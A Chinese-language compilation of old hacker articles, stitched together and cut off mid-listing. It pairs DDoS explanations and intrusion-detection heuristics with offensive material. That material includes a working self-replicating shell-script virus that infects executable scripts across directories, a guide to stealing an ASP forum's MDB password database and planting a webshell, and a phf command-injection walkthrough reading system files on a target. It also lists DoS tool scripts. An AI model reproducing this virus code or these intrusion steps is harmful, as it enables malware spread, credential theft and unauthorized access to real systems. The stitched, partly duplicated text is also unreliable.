    异常现象2：特大型的ICP和UDP数据包。正常的UDP会话一般都使用小的UDP包，通常有效数据内容不超过10字节。正常的ICMP消息也不会超过64到128字节。那些尺寸明显大得多的数据包很有可能就是控制信息通讯用的，主要含有加密后的目标地址和一些命令选项。一旦捕获到（没有经过伪造的）控制信息通讯，DDoS服务器的位置就暴露出来了，因为控制信息通讯数据包的目标地址是没有伪造的。
    异常现象3：不属于正常连接通讯的TCP和UDP数据包。最隐蔽的DDoS工具随机使用多种通讯协议（包括基于连接的协议）通过基于无连接通道发送数据。优秀的防火墙和路由规则能够发现这些数据包。另外，那些连接到高于1024而且不属于常用网络服务的目标端口的数据包也是非常值得怀疑的。
    异常现象4：数据段内容只包含文字和数字字符（例如，没有空格、标点和控制字符）的数据包。这往往是数据经过BASE64编码后而只会含有base64字符集字符的特征。TFN2K发送的控制信息数据包就是这种类型的数据包。TFN2K（及其变种）的特征模式是在数据段中有一串A字符（AAA……），这是经过调整数据段大小和加密算法后的结果。如果没有使用BASE64编码，对于使用了加密算法数据包，这个连续的字符就是“”。
    异常现象5：数据段内容只包含二进制和high-bit字符的数据包。虽然此时可能在传输二进制文件，但如果这些数据包不属于正常有效的通讯时，可以怀疑正在传输的是没有被BASE64编码但经过加密的控制信息通讯数据包。（如果实施这种规则，必须将20、21、80等端口上的传输排除在外。）

说到黑客的终极武器，那就真的不得不说到DDoS了。可能某些用户对这个东西不是十分
的了解，不过从事计算机安全的人员却往往是听到这个名字，其程度比谈虎色变还要严重。
究竟这个DDoS有什么地方那么恐怖呢，下面会为你作一些简单的说明。

通常，DoS攻击的目标是你网络的TCP/IP内层结构，而这些攻击分为三种：一种是利用T
CP/IP协议的漏洞;二种是利用给定的TCP/IP协议栈软件的弱点;第三种是不断尝试的野蛮攻击
。

起这个黑客软件的破坏力，那就不可以不说起网络安全界鼻祖CERT被攻击的事情了。5月
22日，星期二，这本来只是Pittsburgh Carnegie Mellon大学CERT 交流中心的一个寻常的日
子。可是就在这一天，被认为是计算机安全的泰斗的CERT将在这一天被黑客们"离散的服务拒
绝"(DDoS)的攻击手段踢出网络。另外，微软、雅虎和Exodus都在过去的12个月里遭到了DDo
s的毒手；可能成为下一个目标很可能就是你或者是你的客户喔。毕竟，如果有人真的想要用
DDoS攻击你的服务器而使其瘫痪，他们是绝对有能力做到的，而且是防不胜防。

“离散的服务拒绝”主要是通过阻止你的服务器发送你所提供的服务而工作的。要达到
这个目的，黑客可以有很多种方法，例如最典型的就是Outlook e-mail 蠕虫病毒Melissa及
其同类了，因为它们可以驱使Outlook 程序的客户端向服务器不停的发出充满了蠕虫病毒的
信件直到服务器在重压之下瘫痪。很多人一提到DoS攻击的过程，就会联想到是用很多无用的
信息来阻塞网络，以此来达到使其瘫痪的目的。其实这只是其中一个比较典型的方法。事实
上还有一种方法其实也是非常有效的，那就是名为消耗服务器资源方式的攻击。这种攻击是
用一个低速的modem连接来进行的。

其中，Mazu网络公司设计的TrafficMaster Inspector是一种对付DDoS的好工具。通过不
停地进行以G为单位的以太网速度的数据检查，并且尽可能远的追溯数据来源。简单的说，M
azu希望能够实时的探测到网络攻击，然后让正常的数据包通过同时将DDoS数据包阻挡起来。
它对网络的这种保护使得它适合于ISP和数据中心服务器。

对于企业用户来说，可以通过安装一些软件例如防火墙和象Zone Labs 公司的Zone Ala
rm Pro等，这些都可以起到免受或克制DDoS攻击的作用。另外，企业用户也可以寻求Asta 网
络公司的帮助。Asta 网络公司开发了一种Vantage系统，这种系统可以起到一种类似于反病
毒软件的作用，主要是起到预防的作用，当它发现了可能的攻击，Vantage系统会提示网络管
理员，然后网络管理员就能使用路由过滤器甚至在数据流传送的途中关闭网络服务器来阻止
攻击。而这个系统是通过分析和寻找可能的DDoS攻击的在一般攻击前的特点，它不停地将网
络上数据包和已知的DDoS数据包的定式比较，这些定式包括流往域名服务器(DNS)的非标准的
数据流，如果当它发现问题的时候，就会提示网络管理员了。

上面已经说过，DDoS其中的一种破坏方法就是破坏TCP/IP协议。其中最典型的例子就是
Ping of Death攻击啦，这些黑客建造了一个超过了IP标准的最大长度--65535个字节的IP数
据包。（Sinbad注：Ping 'o Death攻击是发送多个IP分片，总长度超过65535；jolt2才是连
续发送一个偏移量很大的数据包）当这个"浮肿的"数据包到达的时候，，它就使得一个使用
脆弱的TCP/IP协议软件和*作系统的服务器瘫痪。另外一个进行攻击的例子是Teardrop， 它
主要是利用了系统重组IP数据包过程中的漏洞工作的。一个数据包在从互联网的另一端到你
这里的路上也许会被分拆成更小的数据报文。这些数据报中的每一个都拥有最初的IP数据报
的报头，同时还拥有一个偏移字节来标示它拥有原始数据报中的哪些字节。通过这些信息，
一个被正常分割的数据报文能够在它的目的地被重新组装起来，并且网络也能够正常运转而
不被中断。当一次Teardrop攻击开始时，你的服务器将受到拥有重叠的偏移字段的IP数据包
的轰炸。如果你的服务器或是路由器不能丢弃这些数据包而且如果企图重组它们，你的服务
器就会很快瘫痪。如果你的系统被及时更新了，或者你拥有一个可以阻挡Teardrop数据包的
防火墙，你应该不会有什么麻烦。

另外还有就是利用TCP/IP协议本身的漏洞来进行攻击的手段，这些手段也不少，其中最
流行的SYN攻击。SYN工作的原理就是利用两个互联网程序间协议握手的过程进行的攻击。协
议握手的过程如下，其中一个应用程序向另一个程序发送一个TCP SYN(同步)数据包。然后目
标程序向第一个程序发送一个TCP-ACK应答数据包作为回答;第一个程序最后用一个ACK应答数
据包确认已经收到。一旦这两个程序握手成功，它们就准备一起运行了。 SYN攻击用一堆TC
P SYN数据包来淹没它的受害者。每个SYN数据包迫使目标服务器产生一个SYN-ACK应答数据包
然后等待对应的ACK应答。这很快就导致过量的SYN-ACK一个接一个的堆积在缓存队列里。当
缓存队列满了以后，系统就会停止应答到来的SYN请求。 如果SYN攻击中包括了拥有错误IP源
地址的SYN数据包，情况很快就会变得更糟。在这种情况下，当SYN-ACK被送出的时候，ACK应
答就永远不会被收到。飞快充满的缓存队列使得合法程序的SYN请求无法再通过。 更加厉害
的是，与之相似的Land攻击手段使用欺骗性的SYN数据包，它带有一个伪装的IP地址，使得它
看起来像是来自你自己的网络。现在，SYN攻击就像是来自于你防火墙的内部，这使得问题更
加严重。 大多数时新的*作系统和防火墙可以阻止SYN攻击。另一个简单的阻止SYN攻击的方
法是阻塞掉所有带有已知的错误的IP源地址的数据包。这些数据包应该包括带有错误的为内
部保留的IP地址的外部数据包。

另外还有Smurf攻击和用户数据报文协议冲击。这两种攻击都使用了同一的手段。当你被
Smurf攻击的时候，攻击者用互联网控制信息协议(ICMP)的应答数据包--一种特殊的ping数据
包来填充你的路由器。这些数据包的目的IP地址同时是你的广播地址，这使得你的路由器将
ICMP数据包广播到网络上的每一台主机。不言自明的是，对于一个大型网络来说，它将引起
巨大的网络信息流量。而且，就像Land攻击那样，如果黑客将Smurf攻击和欺骗手段结合起来
，破坏力就更大。 免Smurf攻击的一种简单的方法就是在路由器中禁用广播地址并且设置你
的防火墙来过滤ICMP应答协议。你也可以设置你的服务器来使得它不对发送ICMP数据包到IP
广播地址的要求做出响应。这些设置不会影响到你的网络的正常工作因为很少有应用程序使
用IP协议的广播功能。

不过要对付采用UDP冲击方法的DoS攻击就不那么容易了，因为一些合法的应用程序，比
方说RealVideo，也使用UDP协议。在一次UDP冲击中，攻击者伪造出一个请求，将一个系统的
UDP开启测试服务程序与另一个系统的UDP应答程序连在一起。UDP开启测试服务程序是一个用
于测试的从收到的数据包产生字符的程序。结果是，由UDP开启测试服务程序伪随机产生的字
符在两个系统间不停的被反射，使得合法应用程序的带宽要求得不到满足。

一种阻止UDP攻击的方法是禁用或者过滤对主机的所有UDP服务要求。只要你允许非服务
请求的UDP请求通过，使用UDP协议的或是把UDP协议当作备用数据传输协议的通常的应用程序
将继续正常工作。 使用这些防御的方法，你可能认为应付DoS攻击就像应付一根火腿肠一样
容易。你错了。因为发动DDoS攻击是如此的容易，任何心怀不轨的人都能组织起几十台甚至
上百台计算机来对你的系统发动DoS攻击。 单是巨大的参与攻击的计算机的数量就能冲垮你
的堡垒并将你的网络塞满垃圾信息。使用Tribe Force Network(TFN)，Trin00或是Stacheld
raht这样的工具，任何人都可以将DDoS的攻击"僵尸"植入一些毫无防范的系统中。然后，攻
击者发送攻击目标的信息以及攻击的指令。DDoS瞬间即至。 这些在1997年到1999年被发明的
攻击方法是容易被察觉的。但是，新一点的DDoS却使用"脉动僵尸。"这种攻击手段并不使用
野蛮的攻击，而是发送一波一波的小带宽的数据，这样，它们就能绕过那些为密集进攻而设
置的网络警报器。

DDoS攻击只可能增加。随着互联网的扩大，更多的用户将获得对网络的宽带接入，这给
了黑客们更多的可以利用的系统。 火上浇油的是，微软将它的Windows XP*作系统定位为下
一代的面向大多数消费者的*作系统，Windows XP将使用"原始的"TCP/IP套接字。通常，程
序员们在编写程序时使用与其功能相关的套接字--套接字是一种将应用程序与TCP/IP相连的
软件对象。

TCP/IP协议同时定义了一种SOCK_ROW的套接字类型。并不是所有的*作系统支持这种套
接字，但是Unix和Windows XP支持。使用原始套接字，一个程序员可以编写代码调用任何TC
P/IP套接字。只要对不按TCP/IP标准进行编程很在行，原始套接字就能让程序员编写非法的
应用程序，比方说DDoS僵尸，因为它们允许程序员以一种无法预料的方式使用广泛流行的套
接字。例如，你可以使用原始套接字来编写DDoS攻击程序，它们使用套接字80--Web超文本传
输协议选择的套接字，来获取它的指令。

虽然Windows 2000，Unix和它的后代，Linux 和BSD*作系统，也支持原始套接字，但这
些*作体统是被拥有足够技术的行家照看着的。这些用户即使不能使他们的系统以适当地方
式运行，他们也懂得如何锁定这些系统。但是XP却将由一个刚刚从电脑城里将它买回来的人
看管，它远不太可能被一个专家级的管理员来使用并查找出新的DDoS代理程序。 因为这一点
，Gibson 研究团体的Steve Gibson预言说目前DDoS攻击的爆炸式的增长(据Gibson估计为每
星期4，000次)将大幅度增加。从理论上讲，这将使互联网本身因为成百上千的DDoS攻击而减
慢速度。

除了保护你的系统不被DDoS 僵尸和上面所述的方法攻击，你还应该鼓励任何使用宽带互
联网的人安装一个基本的防火墙。ZDNet的下载站点有一长串的个人防火墙，这些防火墙易于
使用并且提供基本的保护功能。 Zone Labs公司的ZoneAlarm就是一种由专家推荐给那些想要
了解在他的网络连接上究竟发生了些什么的初级用户的软件。在一位朋友的使用DSL连接的电
脑上使用了ZoneAlarm后我们发现了两个，不是一个，蓄势待发的DDoS僵尸。我们还注意到每
天都有人企图非法闯入他的系统。如果你拥有宽带连接，那么安全不仅仅是一个好主意，它
是一种必要。

什么样的防御是足够的呢?只有时间和经验才能告诉我们，但是如果现在你不打算保护你
不受DDoS的攻击，你不仅有失去网络连接的危险，你本身就可能成为网络安全问题的一部分
了。所以，现在开始防备还来得及喔。

拒绝服务攻击的英文意思是Denial of Service，简称DoS。这种攻击行动使 网站服务器充斥大量要求回复的 信息，消耗网络带宽或系统资源，导致网络或系统不胜负荷以至于瘫痪而停止提 供正常的网络服务。 以下的图示可解释这类攻击的过程，以及公司、企业应如何加以防范。

“拒绝服务”是如何攻击的

参照图示：

通过普通的网络连线，使用者传送信息要求服务器予以确定。服务器于是回 复用户。用户被确定后，就可登 入服务器。

参照图示：

“拒绝服务”的攻击方式为：用户传送众多要求确认的信息到服务器，使服 务器里充斥着这种无用的信息。 所有的信息都有需回复的虚假地址，以至于当服务器试图回传时，却无法找到用 户。服务器于是暂时等候，有时 超过一分钟，然后再切断连接。服务器切断连接时，黑客再度传送新一批需要确 认的信息，这个过程周而复始， 最终导致服务器无法动弹，瘫痪在地。

如何阻挡“拒绝服务”的攻击

参照图示：

阻挡“拒绝服务”的攻击的常用方法之一是：在网络上建立一个过滤器（fi lter）或侦测器（sniffer）， 在信息到达网站服务器之前阻挡信息。过滤器会侦察可疑的攻击行动。如果某种 可疑行动经常出现，过滤器能 接受指示，阻挡包含那种信息，让网站服务器的对外连接线路保持畅通。

分布式拒绝服务攻击 ------------------

分布式拒绝服务攻击的英文意思是Distributed Denial of Service，简称D DoS。 以下是一个典型的分布式拒绝服务攻击网络结构图：

参照图示：

攻击者在Client（客户端）*纵攻击过程。每个Handler（主控端）是一台已 被入侵并运行了特定程序 的系统主机。每个主控端主机能够控制多个Agent（代理端）。每个代理端也是一 台已被入侵并运行另和种 特定程序的系统主机。每个响应攻击命令的代理端会向被攻击目标主机发送拒绝 服务攻击数据包。 至今为止，攻击者最常使用的分布式拒绝服务攻击程序包括4种：Trinoo、T FN、TFN2K和Stacheldraht。 为了提高分布式拒绝服务攻击的成功率，攻击者需要控制成百上千的被入侵 主机。这些主机通常是Linux和 SUN机器，但这些攻击工具也能够移植到其它平台上运行。这些攻击工具入侵主机 和安装程序的过程都是自动化 的。这个过程可分为以下几个步骤： 1、探测扫描大量主机以寻找可入侵主机目标。

2、入侵有安全漏洞的主机并获取控制权。

3、在每台入侵主机中安装攻击程序。

4、利用已入侵主机继续进行扫描和入侵。

由于整个过程是自动化的，攻击者能够在5秒钟内入侵一台主机并安装攻击工 具。也就是说，在短短的一 小时内可以入侵数千台主机。

几种常见分布式拒绝服务攻击工具的特征 ------------------------------------

以下是攻击者常用的分布式拒绝服务攻击工具：

◆ Trinoo

客户端、主控端和代理端主机相互间通讯时使用如下端口：

1524 tcp 27665 tcp 27444 udp 31335 udp

重要提示：以上所列出的只是该工具的缺省端口，仅作参考。这些端口可以轻 易被修改。

◆ TFN

客户端、主控端和代理端主机相互间通讯时使用ICMP ECHO和ICMP ECHO REPL Y数据包。

◆ Stacheldraht

客户端、主控端和代理端主机相互间通讯时使用如下端口和数据包：

16660 tcp 65000 tcp ICMP ECHO ICMP ECHO REPLY

重要提示：以上所列出的只是该工具的缺省端口，仅作参考。这些端口可以轻 易被修改。

◆ TFN2K

客户端、主控端和代理端主机相互间通讯时并没有使用任何指定端口（在运行 时指定或由 程序随机选择），但结合了UDP、ICMP和TCP数据包进行通讯。

对于这几个分布式拒绝服务攻击工具的详细技术分析，请访问中国著名网络 安全组织绿色兵团 站点http://www.isbase.com/）。

拒绝服务攻击工具“进化“过程 --------------------------

最容易的攻击方法之一是拒绝服务(Denial of Service)攻击。在TCP/IP堆栈 中存在许多漏洞，如允许碎 片包、大数据包、IP路由选择、半公开TCP连接、数据包flood等等，这些都能够 降低系统性能，甚至使系统 崩溃。

每发现一个漏洞，相应的攻击程序往往很快就会出现。每一个攻击程序都是 独立的。一个特定的漏洞攻击 程序往往只影响某一版本的TCP/IP协议（虽然Mircosoft拥有非常庞大的个人计算 机市场，大多数的家庭用户 几乎完全没有意识到这些漏洞的存在，也不知道如何得到和使用安全漏洞的补丁 程序，多种漏洞攻击方法导致 目标系统崩溃的机率相当高。）

拒绝服务攻击程序可从互联网上下载得到，如以下网址：

http://www.technotronic.com/denial.html http://www.rootshell.com/ ;

接着就是用Unix shell脚本将多种的拒绝服务攻击程序组合到一个工具里。 “rape“就是这样一种工具： （由“mars“编写，“ttol“改进）

echo “Editted for use with www.ttol.base.org“ echo “rapeing $IP. using weapons:“ echo “latierra “ echo -n “teardrop v2 “ echo -n “newtear “ echo -n “boink “ echo -n “bonk “ echo -n “frag “ echo -n “****ed “ echo -n “troll icmp “ echo -n “troll udp “ echo -n “nestea2 “ echo -n “fusion2 “ echo -n “peace keeper “ echo -n “arnudp “ echo -n “nos “ echo -n “nuclear “ echo -n “ssping “ echo -n “pingodeth “ echo -n “smurf “ echo -n “smurf4 “ echo -n “land “ echo -n “jolt “ echo -n “pepsi “

这种工具的优点是允许一个攻击者使用多种攻击方法同时攻击单个IP地址（ 这增加了攻击成功的概率）， 但也意味着必须将所有编译好的攻击程序打包好（如Unix的“tar“文件），以方便 传输和进行攻击。

在允许使用多种拒绝服务攻击方法的情况下，同时又是一个单一的、更易于 保存/传输/和使用的已编译程 序，就是类似于Mixter编写的“targa.c“这种程序。Targa程序在一个C源程序中结 合了以下多种攻击方法：

/* targa.c - copyright by Mixter version 1.0 - released 6/24/98 - interface to 8 multi-platform remote denial of service exploits */ . . .

/* bonk by route|daemon9 & klepto * jolt by Jeff W. Roberson (modified by Mixter for overdrop effect) * land by m3lt * nestea by humble & ttol * newtear by route|daemon9 * syndrop by PineKoan * teardrop by route|daemon9 * winnuke by _eci */

但是，即使是象“targa“这类多种拒绝服务攻击组合工具，一个攻击者在同一 时间内也只能攻击一个 IP地址。

为了增加攻击的效率，一群攻击者们需要通过IRC频道或电话来保持联系，每 一个人攻击不同的系统， 以实现团体攻击。这种方法在探测漏洞、入侵系统、安装后门和rootkit的行动中 也经常被使用。

即使存在一些使用限制，但至少在两年内，这个工具不断地增加各种攻击程 序，形成了一个名为 “Denial of Service Cluster“（拒绝服务集群）软件包。“trinoo“工具就是这样 一个例子。而在计算机 黑客界中也有一个由Mixter编写的类似工具“Tribe Flood Network“(TFN)。

与trinoo只实现UDP攻击相比，TFN支持ICMP flood、UDP flood、SYN flood 和Smurf攻击等。这些攻 击通过发送ICMP_ECHOREPLY(ICMP Type 0)包命令控制。TFN也使用了与trinoo一 样的Blowfish加密算法。

我敢担保，这些拒绝服务工具包将会得到进一步的发展与完善，功能更强大 ，隐蔽性更强，关键字符串和 控制命令口令将使用更强壮加密算法，甚至对自身进行数字签名，或在被非攻击 者自己使用时自行消毁，使用 加密通讯通道，使用象ICMP这种令防火墙更难监测或防御的协议进行数据包传输 ，等等。


感染linux脚本程序技术

作者：elf0

前言

本文来源于29A病毒杂志,其上对linux shell病毒技术有了一个综合的阐述,我不想翻译它,我以它的那篇为模板
写了这篇中文的文章,里面的代码我都做了调试.
对于shell编程的程序员来说所谓的shell病毒技术其实根本就是小牛一毛,这点在大家看完本文后就会有所体会
但,简单归简单,我们还是要去了解它,呵呵.

主要的shell病毒技术

当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
ok!我们进入正题!
我们来看一个最原始的shell病毒,代码最能说明问题:

#shellvirus I
for file in *
do
cp $0 $file
done

简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:

#shellvirus II
for file in *
do
if test -f $file
then
if test -x $file
then
if test -w $file
then
if grep -s echo $file >.mmm
then
cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f

ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本程序.
但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码:

#infection
head -n 24 $0 > .test <-取自身保存到.test
for file in * <-遍历文件系统
do
if test -f $file <-判断是否为文件
then
if test -x $file <-判断文件是否可执行
then
if test -w $file <-判断文件是否可写
then
if grep -s echo $file >.mmm <-判断是否为脚本程序
then
head -n 1 $file >.mm <-提取要感染的脚本程序的第一行
if grep -s infection .mm >.mmm <-判断该文件是否已经被感染
then
rm -f .mm <-已经被感染,则跳过
else <-还未被感染
cat $file > .SAVEE <-很熟悉吧?借用了传统的二进制文件的感染机制
cat .test > $file
cat .SAVEE >> $file
fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f

程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:

#infection
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if grep -s echo $file > /dev/nul ; then
head -n 1 $file >.mm
if grep -s infection .mm > /dev/nul ; then
rm .mm -f ; else
cat $file > .SAVEE
head -n 13 $0 > $file
cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f

现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了:)

#infection
xtemp=$pwd <-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do <-遍历/目录
if test -d $dir ; then <-如果是目录就cd该目录
cd $dir
for file in * ; do <-遍历该目录文件
if test -f $file && test -x $file && test -w $file ; then <-确定文件是否可执行,可写
if grep -s echo $file > /dev/nul ; then <-确定是否为脚本程序
head -n 1 $file > .mm
if grep -s infection .mm > /dev/nul ; then <-确定是否已经被感染
rm .mm -f ; else
cat $file > /.SAVEE <-和前面的感染机制一样感染未被感染的脚本程序
cat /.test > $file
cat /.SAVEE >> $file
fi; fi; fi
done
cd ..
fi
done
cd $xtemp <-返回原目录
rm /.test /.SAVEE .mm -f

其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧:)

for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if file $file | grep -s 'ELF' > /dev/nul ; then
mv $file .$file
head -n 9 $0 > $file
fi; fi
done
.$0


根据网络通讯异常现象监测分布式拒绝服务

来源：Mixter
翻译：backend <backend@antionling.org>
< http://www.isbase.com/ >
    许多人或工具在监测分布式拒绝服务攻击时常犯的错误是只搜索那些DDoS工具的缺省特征字符串、缺省端口、缺省口令等。要建立网络入侵监测系统（NIDS）对这些工具的监测规则，人们必须着重观察分析DDoS网络通讯的普遍特征，不管是明显的，还是模糊的。
    DDoS工具产生的网络通讯信息有两种：控制信息通讯（在DDoS客户端与服务器端之间）和攻击时的网络通讯（在DDoS服务器端与目标主机之间）。
    根据以下异常现象在网络入侵监测系统建立相应规则，能够较准确地监测出DDoS攻击。
    异常现象0：虽然这不是真正的"DDoS"通讯，但却能够用来确定DDoS攻击的来源。根据分析，攻击者在进行DDoS攻击前总要解析目标的主机名。BIND域名服务器能够记录这些请求。由于每台攻击服务器在进行一个攻击前会发出PTR反向查询请求，也就是说在DDoS攻击前域名服务器会接收到大量的反向解析目标IP主机名的PTR查询请求。
    异常现象1：当DDoS攻击一个站点时，会出现明显超出该网络正常工作时的极限通讯流量的现象。现在的技术能够分别对不同的源地址计算出对应的极限值。当明显超出此极限值时就表明存在DDoS攻击的通讯。因此可以在主干路由器端建立ACL访问控制规则以监测和过滤这些通讯。
    异常现象2：特大型的ICP和UDP数据包。正常的UDP会话一般都使用小的UDP包，通常有效数据内容不超过10字节。正常的ICMP消息也不会超过64到128字节。那些大小明显大得多的数据包很有可能就是控制信息通讯用的，主要含有加密后的目标地址和一些命令选项。一旦捕获到（没有经过伪造的）控制信息通讯，DDoS服务器的位置就无所遁形了，因为控制信息通讯数据包的目标地址是没有伪造的。
    异常现象3：不属于正常连接通讯的TCP和UDP数据包。最隐蔽的DDoS工具随机使用多种通讯协议（包括基于连接的协议）通过基于无连接通道发送数据。优秀的防火墙和路由规则能够发现这些数据包。另外，那些连接到高于1024而且不属于常用网络服务的目标端口的数据包也是非常值得怀疑的。
    异常现象4：数据段内容只包含文字和数字字符（例如，没有空格、标点和控制字符）的数据包。这往往是数据经过BASE64编码后而只会含有base64字符集字符的特征。TFN2K发送的控制信息数据包就是这种类型的数据包。TFN2K（及其变种）的特征模式是在数据段中有一串A字符（AAA……），这是经过调整数据段大小和加密算法后的结果。如果没有使用BASE64编码，对于使用了加密算法数据包，这个连续的字符就是“\0”。
    异常现象5：数据段内容只包含二进制和high-bit字符的数据包。虽然此时可能在传输二进制文件，但如果这些数据包不属于正常有效的通讯时，可以怀疑正在传输的是没有被BASE64编码但经过加密的控制信息通讯数据包。（如果实施这种规则，必须将20、21、80等端口上的传输排除在外。）


攻击ASP论坛的方法

一般ASP站点都有一个MDB文件存储用户密码，而MDB文件是可以下载的，所以只要知道MDB文件的路径就可以轻松得手。那么怎么知道路径呢？
1、找源代码分析。现在很多论坛都公开源代码，里面就有缺省数据库文件的路径，而很多刚刚架设论坛的管理员根本不懂asp或者是不看说明文件，一古脑装上拉倒，这就造成了机会，只要输入正确的路径就OK了。比如动网论坛，路径是../bbs/dv3sr2.mdb，那么输入http://www.XXX.com/bbs/dv3sr2.mdb就可以下载数据库了。
2、一般看过说明文件的管理员会将mdb文件改成asa或是asp的后缀，但是还是不行，只要输入路径，在IE里还是可以看到数据库的，因为数据库里没有<%、%>，服务器就认为是html，直接就送出来了，用蚂蚁或是快车就可以下载。
3、有些懂得ASP的管理员会造几个很深的路径来隐藏数据库文件，怎么办呢？快车的‘站点资源搜索器’可以派上用场，也许还有其它的方法，希望知道的高手指点。

拿到了MDB就知道管理员密码了，然后怎么做呢？首先是找个夜深人静的时候（因为管理员不在才好办事），用管理员身份登陆，进入管理区，把上传功能打开，允许ASP文件类型，然后把网辰在线的代码传上去，再把修改过的配置还原，退出，OK，打开IE，输入你上传的文件路径，接下来就不用我说了吧？


攻克UNIX系统速成

首先,要用一个工具找你的目标,这样的工具在网上很容易就可以被找到.一个著名的工具就是mscan.至于它的用法在它自己的README里有很详细的说明,我就不解释了,当然,是英文的mscan 会帮你找到一些有明显漏洞的远程主机,用-at参数得到的记录文件是可以立即有结果的,根据我的经验,至少有50%的把握能搞定.好了,为了开门红,先找最著名的phf bug吧.
test# more co.xx.log|grep phf|more
xx.xx.xx.xx VULN: runs /cgi-bin/phf. haha!
....
哇塞!这么多,一个一个来!这个domain area的机器真是#@!#@. 先就第一个吧,首先,看看他用什么起的httpd.如果是root,那就没意思了,你想干什么就干什么,还黑个头啊.这里就把victim给 shadow吧,不然他也太没面子了,当然,我不是坏蛋,国内的主机太弱,黑起来无趣.//shy. 国外的啦
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0aid
Query Results

/usr/local/bin/ph -m alias=x id
uid=60001(nobody) gid=60001(nobody)
en..是nobody啊,这增加了点难度,不过没关系,越有难度的机器越有意思. 而且无论如何不是已经等于有shell了吗,接着来!看看victim运行了什么os.
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0auname%20-a
Query Results

/usr/local/bin/ph -m alias=x uname -a
SunOS host1 5.5 Generic sun4m sparc SUNW,SPARCstation-4 en..是sun solaris 2.5,sun公司的bug可不少啊,不过到现在为止我们还没有上去获得 shell,那么,再看看这个机器上跑了什么服务.
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0acat%20/etc/inet/inetd.conf
下面的结果太多了,我就挑选几个有用的吧
#OLD#telnet stream tcp nowait root /usr/sbin/in.telnetd in.teln
etd
#OLD#ftp stream tcp nowait root /usr/local/etc/ftpd in.ftpd
#TIS#ftp stream tcp nowait root /usr/local/etc/netacl in.ftpd
#TIS#telnet stream tcp nowait root /usr/local/etc/netacl in.telne
d
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd
login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind
exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd
en..看样子似乎没防备,不过不应该这么简单的,看看它的hosts.
test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0acat%20/etc/inet/hosts
127.0.0.1 localhost
xx.xx.xx.xx host1 loghost
xx.xx.xx.x host1-gw-firewall
呵呵,有firewall啊,这就有点头疼了,看看这个firewall上允许什么服务穿越.
test#telnet xxxx.xx.xx.xx
Trying xx.xx.xx.xx..........
test#rlogin -l root xxx.xx.xx.x
test#ftp xxx.xx.xx.xx
test#rpcinfo -p xx.xx.xx.xx
乖乖龙的,没反应
en.看来是不允许外来的任何服务的,麻烦!只好用phf来慢慢看看.当然也不是没有可能黑不掉,but管理员如果太信任firewall,就容易出差错. 虽然可以利用这个phf来搞一个exploit,但是比较麻烦,我们先来看symlink.

test#lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0als%20-la%20/tmp
Query Results

/usr/local/bin/ph -m alias=x ls -la /tmp
total 26
drwxrwxrwt 2 sys sys 109 Apr 24 04:05 .
drwxr-xr-x 25 root root 1024 Apr 24 13:38 ..
-rw-rw-r-- 1 root sys 4856 Mar 25 18:39 ps_data
-rw-rw-rw- 1 root root 0 Apr 24 02:17 license_log
嘿嘿,有门,这个license_log的属主是root,看来这个管理员没注意lincese_serve的tmp race问题.好,再看看它是不是已经在/下面放了.rhosts来防备这个问题.
(这里知道看/tmp.或者/var/tmp是经验啦,不是瞎蒙的,至于什么/etc/passwd我没什么兴趣,反正上不去,看了也没用,现在phf就等于有一个户头了)

test# lynx xx.xx.xx.xx/cgi-bin/phf?Qalias=x%0als%20-la%20/
Query Results

/usr/local/bin/ph -m alias=x ls -la /
total 621
drwxr-xr-x 25 root root 1024 Apr 24 13:38 .
drwxr-xr-x 25 root root 1024 Apr 24 13:38 ..
-rw-r--r-- 1 root


共享“木马”的分析

